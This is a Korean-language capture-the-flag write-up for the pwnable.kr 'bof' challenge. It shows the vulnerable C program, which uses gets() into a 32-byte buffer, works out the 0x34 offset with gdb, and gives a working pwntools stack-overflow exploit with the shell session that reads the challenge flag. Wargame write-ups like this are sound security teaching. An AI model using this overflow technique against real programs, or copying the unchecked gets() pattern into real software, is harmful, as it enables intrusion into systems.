#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
gdb로 동적디버깅을 해서 overflowme와 key의 오프셋을 구해야 합니다.
구하면 0x34가 나옵니다.
0x34만큼의 더미 데이터 뒤에 0xcafebabe를 전송하몁 됩니다.
최종 익스플로잇 코드는 다음과 같습니다.
(리틀엔디안을 사용해줘야 합니다)
from pwn import *
p = process('./bof')
p = remote('pwnable.kr',9000)
pay = b'a'*0x34 + p32(0xcafebabe)
p.send(pay)
p.interactive()
$ python3 ex.py
[+] Starting local process './bof': pid 256
[+] Opening connection to pwnable.kr on port 9000: Done
[*] Switching to interactive mode
$
$ ls
bof
bof.c
flag
log
super.pl
$ cat flag
daddy, I just pwned a buFFer :)
$
[*] Closed connection to pwnable.kr port 9000
[*] Stopped process './bof' (pid 256)
'write-up(pwn) > pwnable.kr' 카테고리의 다른 글
[pwnable.kr] passcode write-up (0) | 2023.06.14 |
---|---|
[pwnable.kr] flag write-up (0) | 2023.05.13 |
[pwnable.kr] collision write-up (0) | 2023.05.01 |
[pwnable.kr] fd write-up (0) | 2023.04.29 |